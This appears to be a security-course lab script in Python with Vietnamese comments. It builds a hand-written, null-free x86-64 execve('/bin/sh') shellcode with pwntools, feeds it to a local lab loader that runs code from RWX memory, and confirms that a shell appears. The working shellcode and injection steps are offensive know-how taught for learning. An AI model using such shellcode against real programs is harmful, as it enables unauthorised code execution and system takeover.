#!/usr/bin/env python3
# Lab 4.1: viet shellcode execve("/bin/sh", NULL, NULL) x86-64, null-free,
# roi nap vao loader (vung RWX) de lay shell that.
# Chay: /root/techlabs/venv/bin/python3 exploit.py
from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'

# --- Cach 1: shellcode viet tay (null-free, 23 byte) ---
# Y tuong: dung /bin//sh (them 1 dau / cho du 8 byte, kernel coi // = /),
# day len stack, tro rdi vao do, rsi=rdx=0, rax=59 (execve), syscall.
sc_hand = asm('''
    xor    esi, esi                    /* rsi = 0 (argv), xor ...e.. de tranh byte 00 */
    push   rsi                         /* day 8 byte 0: null terminator cua chuoi */
    mov    rdi, 0x68732f2f6e69622f     /* "/bin//sh" dang little-endian, khong co byte 00 */
    push   rdi
    push   rsp
    pop    rdi                         /* rdi -> "/bin//sh\\0" tren stack */
    xor    edx, edx                    /* rdx = 0 (envp) */
    push   0x3b
    pop    rax                         /* rax = 59 = SYS_execve */
    syscall
''')
log.info('shellcode viet tay: %d byte', len(sc_hand))
log.info('null-free (khong chua byte 0x00)? %s', b'\x00' not in sc_hand)
log.info('hex: %s', sc_hand.hex())

# --- Cach 2: pwntools shellcraft sinh san ---
sc_craft = asm(shellcraft.amd64.linux.sh())
log.info('shellcraft.amd64.linux.sh(): %d byte', len(sc_craft))

# Dung ban viet tay cho demo nay.
sc = sc_hand

# --- Nap vao loader va lay shell ---
io = process('./loader')
io.send(sc)                            # gui shellcode tho qua stdin
# Cho loader doc xong shellcode va exec /bin/sh TRUOC khi go lenh. Neu go ngay,
# lenh co the bi read() cua loader nuot luon cung mot lan doc -> shell mat input.
sleep(0.3)
io.sendline(b'echo ===PWNED_4_1===; id; uname -r; echo ===END===')
io.sendline(b'exit')
out = io.recvall(timeout=5).decode(errors='replace')
print(out)
assert 'uid=' in out and '===PWNED_4_1===' in out, 'FAIL: khong lay duoc shell'
log.success('shellcode viet tay chay ra shell that')